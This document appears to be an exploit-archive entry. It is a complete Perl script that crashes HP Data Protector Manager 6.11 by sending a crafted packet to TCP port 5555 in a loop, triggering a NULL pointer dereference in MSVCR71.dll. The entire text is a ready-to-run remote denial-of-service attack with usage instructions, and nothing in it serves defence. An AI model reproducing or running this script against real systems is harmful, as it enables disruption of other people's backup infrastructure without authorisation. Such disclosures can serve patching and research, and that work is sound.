HP Data Protector Manager 6.11 Denial Of Service

`#!/usr/bin/perl  
  
# ===============================  
# HP Data Protector Manager v6.11  
# ===============================  
#  
# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerabilities  
#  
# Software: http://www.hp.com  
# Date: 06/10/2010  
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com  
# http://www.enye-sec.org - http://www.pepelux.org  
#  
# Vulnerable file: Program Files\OmniBack\bin\MSVCR71.dll  
# Vulnerable function: wtoi  
#  
# Tested on Windows XP SP2 & Windows XP SP3  
  
use IO::Socket;  
  
my ($server, $port) = @ARGV ;  
  
unless($ARGV[0] || $ARGV[1]) {  
print "Usage: perl $0 <host> [port]\n";  
print "\tdefault port = 5555\n\n";  
exit 1;  
}  
  
$port = 5555 if ($ARGV[0]);  
  
if ($^O =~ /Win/) {system("cls");}else{system("clear");}  
  
my $buf = "\x00\x00\x00\x41\xff\xfe\x32\x00\x00\x00\x20\x00\x41\x00\x41\x00".  
"\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00".  
"\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00".  
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00".  
"\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\xff\xff\x20\x00\x31\x00".  
"\x35\x00\x00\x00\x00\x00";  
  
print "[+] Connecting to $server:$port ...\n";  
  
my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");  
  
print "[+] Sending malicious packet ...\n";  
  
my $crashed = 0;  
  
while($crashed eq 0) {  
print $sock1 "$buf" or $crashed = 1;  
}  
  
print "\n[x] Server crashed!\n";   
exit;  
  
`